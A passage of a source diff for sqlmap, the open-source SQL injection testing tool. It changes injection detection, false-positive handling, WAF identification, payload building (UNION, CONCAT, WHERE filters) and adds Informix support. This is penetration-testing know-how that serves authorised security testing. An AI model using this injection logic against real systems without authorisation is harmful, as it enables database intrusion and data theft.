                        injection.conf.titles = conf.titles
+                        injection.conf.code = conf.code
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
@@ -640,7 +695,7 @@ def checkSqlInjection(place, parameter, value):
                                infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                logger.info(infoMsg)

-                                process = execute(conf.alert, shell=True)
+                                process = subprocess.Popen(conf.alert, shell=True)
                                process.wait()

                            kb.alerted = True
@@ -691,19 +746,20 @@ def checkSqlInjection(place, parameter, value):
    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
-            warnMsg = "in OR boolean-based injections, please consider usage "
+            warnMsg = "in OR boolean-based injection cases, please consider usage "
            warnMsg += "of switch '--drop-set-cookie' if you experience any "
            warnMsg += "problems during data retrieval"
            logger.warn(warnMsg)

-        injection = checkFalsePositives(injection)
-
-        if not injection:
+        if not checkFalsePositives(injection):
            kb.vulnHosts.remove(conf.hostname)
+            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
+                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
+
    else:
        injection = None

-    if injection:
+    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

@@ -748,7 +804,7 @@ def checkFalsePositives(injection):
    Checks for false positives (only in single special cases)
    """

-    retVal = injection
+    retVal = True

    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
      (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
@@ -774,7 +830,7 @@ def checkFalsePositives(injection):
                    break

            if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)):
-                retVal = None
+                retVal = False
                break

            # Just in case if DBMS hasn't properly recovered from previous delayed request
@@ -782,22 +838,22 @@ def checkFalsePositives(injection):
                checkBooleanExpression("%d=%d" % (randInt1, randInt2))

            if checkBooleanExpression("%d=%d" % (randInt1, randInt3)):          # this must not be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)):        # this must not be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)):    # this must be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif checkBooleanExpression("%d %d" % (randInt3, randInt2)):        # this must not be evaluated to True (invalid statement)
-                retVal = None
+                retVal = False
                break

-        if retVal is None:
+        if not retVal:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warn(warnMsg)

@@ -864,8 +920,10 @@ def heuristicCheckSqlInjection(place, parameter):

    origValue = conf.paramDict[place][parameter]
    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
+
    prefix = ""
    suffix = ""
+    randStr = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
@@ -874,9 +932,7 @@ def heuristicCheckSqlInjection(place, parameter):
        if conf.suffix:
            suffix = conf.suffix

-    randStr = ""
-
-    while '\'' not in randStr:
+    while randStr.count('\'') != 1 or randStr.count('\"') != 1:
        randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)

    kb.heuristicMode = True
@@ -885,6 +941,7 @@ def heuristicCheckSqlInjection(place, parameter):
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

+    kb.heuristicPage = page
    kb.heuristicMode = False

    parseFilePaths(page)
@@ -906,7 +963,7 @@ def heuristicCheckSqlInjection(place, parameter):

        if not result:
            randStr = randomStr()
-            payload = "%s%s%s" % (prefix, "%s%s" % (origValue, randStr), suffix)
+            payload = "%s%s%s" % (prefix, "%s.%d%s" % (origValue, random.randint(1, 9), randStr), suffix)
            payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
            casting = Request.queryPage(payload, place, raise404=False)

@@ -947,7 +1004,7 @@ def heuristicCheckSqlInjection(place, parameter):
        infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter
        logger.info(infoMsg)

-    for match in re.finditer("(?i)[^\n]*(no such file|failed (to )?open)[^\n]*", page or ""):
+    for match in re.finditer(FI_ERROR_REGEX, page or ""):
        if randStr1.lower() in match.group(0).lower():
            infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
            infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter
@@ -1013,12 +1070,22 @@ def checkDynamicContent(firstPage, secondPage):
        logger.critical(warnMsg)
        return

-    seqMatcher = getCurrentThreadData().seqMatcher
-    seqMatcher.set_seq1(firstPage)
-    seqMatcher.set_seq2(secondPage)
+    if firstPage and secondPage and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (firstPage, secondPage)):
+        ratio = None
+    else:
+        try:
+            seqMatcher = getCurrentThreadData().seqMatcher
+            seqMatcher.set_seq1(firstPage)
+            seqMatcher.set_seq2(secondPage)
+            ratio = seqMatcher.quick_ratio()
+        except MemoryError:
+            ratio = None
+
+    if ratio is None:
+        kb.skipSeqMatcher = True

    # In case of an intolerable difference turn on dynamicity removal engine
-    if seqMatcher.quick_ratio() <= UPPER_RATIO_BOUND:
+    elif ratio <= UPPER_RATIO_BOUND:
        findDynamicContent(firstPage, secondPage)

        count = 0
@@ -1235,6 +1302,9 @@ def identifyWaf():
    if not conf.identifyWaf:
        return None

+    if not kb.wafFunctions:
+        setWafFunctions()
+
    kb.testMode = True

    infoMsg = "using WAF scripts to detect "
@@ -1258,11 +1328,11 @@ def identifyWaf():
            kb.redirectChoice = popValue()
        return page or "", headers or {}, code

-    retVal = False
+    retVal = []

    for function, product in kb.wafFunctions:
        try:
-            logger.debug("checking for WAF/IDS/IPS product '%s'" % product)
+            logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
            found = function(_)
        except Exception, ex:
            errMsg = "exception occurred while running "
@@ -1272,22 +1342,24 @@ def identifyWaf():
            found = False

        if found:
-            retVal = product
-            break
+            errMsg = "WAF/IPS/IDS identified as '%s'" % product
+            logger.critical(errMsg)
+
+            retVal.append(product)

    if retVal:
-        errMsg = "WAF/IDS/IPS identified '%s'. Please " % retVal
-        errMsg += "consider usage of tamper scripts (option '--tamper')"
-        logger.critical(errMsg)
-
        message = "are you sure that you want to "
        message += "continue with further target testing? [y/N] "
        output = readInput(message, default="N")

+        if not conf.tamper:
+            warnMsg = "please consider usage of tamper scripts (option '--tamper')"
+            singleTimeWarnMessage(warnMsg)
+
        if output and output[0] not in ("Y", "y"):
            raise SqlmapUserQuitException
    else:
-        warnMsg = "no WAF/IDS/IPS product has been identified (this doesn't mean that there is none)"
+        warnMsg = "WAF/IPS/IDS product hasn't been identified"
        logger.warn(warnMsg)

    kb.testType = None
@@ -1315,7 +1387,7 @@ def checkNullConnection():
        if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
            kb.nullConnection = NULLCONNECTION.HEAD

-            infoMsg = "NULL connection is supported with HEAD header"
+            infoMsg = "NULL connection is supported with HEAD method (Content-Length)"
            logger.info(infoMsg)
        else:
            page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
@@ -1323,7 +1395,7 @@ def checkNullConnection():
            if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
                kb.nullConnection = NULLCONNECTION.RANGE

-                infoMsg = "NULL connection is supported with GET header "
+                infoMsg = "NULL connection is supported with GET method (Range)"
                infoMsg += "'%s'" % kb.nullConnection
                logger.info(infoMsg)
            else:
@@ -1383,10 +1455,6 @@ def checkConnection(suppressOutput=False):
        else:
            kb.errorIsNone = True

-        if headers and headers.get("Server", "") == CLOUDFLARE_SERVER_HEADER:
-            warnMsg = "CloudFlare response detected"
-            logger.warn(warnMsg)
-
    except SqlmapConnectionException, ex:
        if conf.ipv6:
            warnMsg = "check connection to a provided "
@@ -1415,3 +1483,6 @@ def checkConnection(suppressOutput=False):

 def setVerbosity():  # Cross-linked function
    raise NotImplementedError
+
+def setWafFunctions():  # Cross-linked function
+    raise NotImplementedError
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -45,6 +45,7 @@ from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import NOTE
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapBaseException
@@ -164,7 +165,7 @@ def _showInjections():
    if hasattr(conf, "api"):
        conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
    else:
-        data = "".join(set(map(lambda x: _formatInjection(x), kb.injections))).rstrip("\n")
+        data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
        conf.dumper.string(header, data)

    if conf.tamper:
@@ -209,9 +210,8 @@ def _saveToHashDB():
            _[key].data.update(injection.data)
    hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True)

-    _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or set()
-    _.update(kb.absFilePaths)
-    hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, _, True)
+    _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True)
+    hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, kb.absFilePaths | (_ if isinstance(_, set) else set()), True)

    if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS):
        hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True)
@@ -224,25 +224,25 @@ def _saveToResultsFile():
        return

    results = {}
-    techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE)))
+    techniques = dict((_[1], _[0]) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE))

-    for inj in kb.injections:
-        if inj.place is None or inj.parameter is None:
+    for injection in kb.injections + kb.falsePositives:
+        if injection.place is None or injection.parameter is None:
            continue

-        key = (inj.place, inj.parameter)
+        key = (injection.place, injection.parameter, ';'.join(injection.notes))
        if key not in results:
            results[key] = []

-        results[key].extend(inj.data.keys())
+        results[key].extend(injection.data.keys())

    for key, value in results.items():
-        place, parameter = key
-        line = "%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), os.linesep)
+        place, parameter, notes = key
+        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
        conf.resultsFP.writelines(line)

    if not results:
-        line = "%s,,,%s" % (conf.url, os.linesep)
+        line = "%s,,,,%s" % (conf.url, os.linesep)
        conf.resultsFP.writelines(line)

 def start():
@@ -464,7 +464,13 @@ def start():
                            infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

-                        elif parameter in conf.skip:
+                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
+                            testSqlInj = False
+
+                            infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
+                            logger.info(infoMsg)
+
+                        elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
@@ -487,7 +493,7 @@ def start():
                            check = checkDynParam(place, parameter, value)

                            if not check:
-                                warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter)
+                                warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
@@ -521,24 +527,31 @@ def start():

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
+                                injectable = False

-                                if injection is not None and injection.place is not None:
-                                    kb.injections.append(injection)
+                                if getattr(injection, "place", None) is not None:
+                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
+                                        kb.falsePositives.append(injection)
+                                    else:
+                                        injectable = True

-                                    # In case when user wants to end detection phase (Ctrl+C)
-                                    if not proceed:
-                                        break
+                                        kb.injections.append(injection)

-                                    msg = "%s parameter '%s' " % (injection.place, injection.parameter)
-                                    msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
-                                    test = readInput(msg, default="N")
+                                        # In case when user wants to end detection phase (Ctrl+C)
+                                        if not proceed:
+                                            break

-                                    if test[0] not in ("y", "Y"):
-                                        proceed = False
-                                        paramKey = (conf.hostname, conf.path, None, None)
-                                        kb.testedParams.add(paramKey)
-                                else:
-                                    warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
+                                        msg = "%s parameter '%s' " % (injection.place, injection.parameter)
+                                        msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
+                                        test = readInput(msg, default="N")
+
+                                        if test[0] not in ("y", "Y"):
+                                            proceed = False
+                                            paramKey = (conf.hostname, conf.path, None, None)
+                                            kb.testedParams.add(paramKey)
+
+                                if not injectable:
+                                    warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter)
                                    warnMsg += "injectable"
                                    logger.warn(warnMsg)

@@ -586,24 +599,24 @@ def start():
                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += " Also, you can try to rerun by providing "
                        errMsg += "either a valid value for option '--string' "
-                        errMsg += "(or '--regexp')"
+                        errMsg += "(or '--regexp')."
                    elif conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
-                        errMsg += "exclusively True responses"
+                        errMsg += "exclusively True responses."
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
-                        errMsg += "does not match exclusively True responses"
+                        errMsg += "does not match exclusively True responses."

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
                        errMsg += "involved (e.g. WAF) maybe you could retry "
                        errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"

-                    raise SqlmapNotVulnerableException(errMsg)
+                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False
@@ -652,8 +665,10 @@ def start():
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
+                _saveToResultsFile()
+
                errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
-                logger.error(errMsg)
+                logger.error(errMsg.lstrip(", "))
            else:
                logger.critical(errMsg)
                return False
@@ -670,9 +685,10 @@ def start():
    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info("fetched data logged to text files under '%s'" % conf.outputPath)

-    if conf.multipleTargets and conf.resultsFilename:
-        infoMsg = "you can find results of scanning in multiple targets "
-        infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
-        logger.info(infoMsg)
+    if conf.multipleTargets:
+        if conf.resultsFilename:
+            infoMsg = "you can find results of scanning in multiple targets "
+            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
+            logger.info(infoMsg)

    return True
@@ -1,12 +1,13 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

 from lib.core.common import Backend
 from lib.core.data import conf
+from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy

 from plugins.dbms.mssqlserver import MSSQLServerMap
@@ -45,6 +47,8 @@ from plugins.dbms.db2 import DB2Map
 from plugins.dbms.db2.connector import Connector as DB2Conn
 from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.informix import InformixMap
+from plugins.dbms.informix.connector import Connector as InformixConn

 def setHandler():
    """
@@ -64,6 +68,7 @@ def setHandler():
                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
+                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
            ]

    _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items)
@@ -81,9 +86,6 @@ def setHandler():
        conf.dbmsConnector = Connector()

        if conf.direct:
-            logger.debug("forcing timeout to 10 seconds")
-            conf.timeout = 10
-
            dialect = DBMS_DICT[dbms][3]

            if dialect:
@@ -101,7 +103,10 @@ def setHandler():
                conf.dbmsConnector.connect()

        if handler.checkDbms():
-            conf.dbmsHandler = handler
+            if kb.resolutionDbms:
+                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
+            else:
+                conf.dbmsHandler = handler
            break
        else:
            conf.dbmsConnector = None
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -17,6 +17,7 @@ from lib.core.common import isTechniqueAvailable
 from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import safeSQLIdentificatorNaming
+from lib.core.common import safeStringFormat
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import splitFields
 from lib.core.common import unArrayizeValue
@@ -34,12 +35,15 @@ from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
+from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
+from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
+from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.unescaper import unescaper

 class Agent(object):
@@ -94,9 +98,12 @@ class Agent(object):
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])

-        if place == PLACE.URI:
+        if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
            paramString = origValue
-            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
+            if place == PLACE.URI:
+                origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
+            else:
+                origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
@@ -114,7 +121,7 @@ class Agent(object):
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
-            origValue = origValue[origValue.index(',') + 1:]
+            origValue = origValue[origValue.find(',') + 1:]
            match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
            if match:
                origValue = match.group("value")
@@ -160,6 +167,9 @@ class Agent(object):
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
+        elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
+            _ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
+            retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
@@ -272,7 +282,7 @@ class Agent(object):
            where = kb.injection.data[kb.technique].where if where is None else where
            comment = kb.injection.data[kb.technique].comment if comment is None else comment

-        if Backend.getIdentifiedDbms() == DBMS.ACCESS and comment == GENERIC_SQL_COMMENT:
+        if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
            comment = queries[DBMS.ACCESS].comment.query

        if comment is not None:
@@ -295,7 +305,7 @@ class Agent(object):
        _ = (
                ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
                ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
-                ("[HASH_REPLACE]", kb.chars.hash_),
+                ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
            )
        payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)

@@ -334,7 +344,7 @@ class Agent(object):
        """

        if payload:
-            payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
+            payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))

        return payload

@@ -477,7 +487,7 @@ class Agent(object):
        @rtype: C{str}
        """

-        prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT \d+)\s+\d+)*"
+        prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
        fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
        fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
        fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
@@ -498,26 +508,28 @@ class Agent(object):
        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
-            fieldsToCastStr = fieldsMinMaxstr.groups()[0]
+            fieldsToCastStr = fieldsMinMaxstr.group(1)
        elif fieldsExists:
            if fieldsSelect:
-                fieldsToCastStr = fieldsSelect.groups()[0]
+                fieldsToCastStr = fieldsSelect.group(1)
        elif fieldsSelectTop:
-            fieldsToCastStr = fieldsSelectTop.groups()[0]
+            fieldsToCastStr = fieldsSelectTop.group(1)
        elif fieldsSelectRownum:
-            fieldsToCastStr = fieldsSelectRownum.groups()[0]
+            fieldsToCastStr = fieldsSelectRownum.group(1)
        elif fieldsSelectDistinct:
            if Backend.getDbms() in (DBMS.HSQLDB,):
                fieldsToCastStr = fieldsNoSelect
            else:
-                fieldsToCastStr = fieldsSelectDistinct.groups()[0]
+                fieldsToCastStr = fieldsSelectDistinct.group(1)
        elif fieldsSelectCase:
-            fieldsToCastStr = fieldsSelectCase.groups()[0]
+            fieldsToCastStr = fieldsSelectCase.group(1)
        elif fieldsSelectFrom:
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
        elif fieldsSelect:
-            fieldsToCastStr = fieldsSelect.groups()[0]
+            fieldsToCastStr = fieldsSelect.group(1)
+
+        fieldsToCastStr = fieldsToCastStr or ""

        # Function
        if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
@@ -658,24 +670,23 @@ class Agent(object):
                concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

        else:
-            warnMsg = "applying generic concatenation with double pipes ('||')"
+            warnMsg = "applying generic concatenation (CONCAT)"
            singleTimeWarnMessage(warnMsg)

            if fieldsExists:
-                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
-                concatenatedQuery += "||'%s'" % kb.chars.stop
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
+                concatenatedQuery += "),'%s')" % kb.chars.stop
            elif fieldsSelectCase:
-                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
-                concatenatedQuery += ")||'%s'" % kb.chars.stop
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
+                concatenatedQuery += "),'%s')" % kb.chars.stop
            elif fieldsSelectFrom:
-                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
-                concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
+                concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
            elif fieldsSelect:
-                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
-                concatenatedQuery += "||'%s'" % kb.chars.stop
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
+                concatenatedQuery += "),'%s')" % kb.chars.stop
            elif fieldsNoSelect:
-                concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
+                concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

        return concatenatedQuery

@@ -712,8 +723,11 @@ class Agent(object):

        if conf.uFrom:
            fromTable = " FROM %s" % conf.uFrom
-        else:
-            fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
+        elif not fromTable:
+            if kb.tableFrom:
+                fromTable = " FROM %s" % kb.tableFrom
+            else:
+                fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")

        if query.startswith("SELECT "):
            query = query[len("SELECT "):]
@@ -746,6 +760,9 @@ class Agent(object):
            intoRegExp = intoRegExp.group(1)
            query = query[:query.index(intoRegExp)]

+            position = 0
+            char = NULL
+
        for element in xrange(0, count):
            if element > 0:
                unionQuery += ','
@@ -923,7 +940,7 @@ class Agent(object):
            else:
                limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr)

-            limitedQuery = limitedQuery % fromFrom
+            limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
            limitedQuery += "=%d" % (num + 1)

        elif Backend.isDbms(DBMS.MSSQL):
@@ -984,12 +1001,13 @@ class Agent(object):

    def forgeQueryOutputLength(self, expression):
        lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
-        select = re.search("\ASELECT\s+", expression, re.I)
-        selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
+        select = re.search(r"\ASELECT\s+", expression, re.I)
+        selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
+        selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)

        _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)

-        if selectTopExpr:
+        if selectTopExpr or selectMinMaxExpr:
            lengthExpr = lengthQuery % ("(%s)" % expression)
        elif select:
            lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
@@ -1061,5 +1079,20 @@ class Agent(object):

        return query

+    def whereQuery(self, query):
+        if conf.dumpWhere and query:
+            prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
+
+            if "%s)" % conf.tbl.upper() in prefix.upper():
+                prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
+            elif re.search(r"(?i)\bWHERE\b", prefix):
+                prefix += " AND %s" % conf.dumpWhere
+            else:
+                prefix += " WHERE %s" % conf.dumpWhere
+
+            query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
+
+        return query
+
 # SQL agent
 agent = Agent()
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
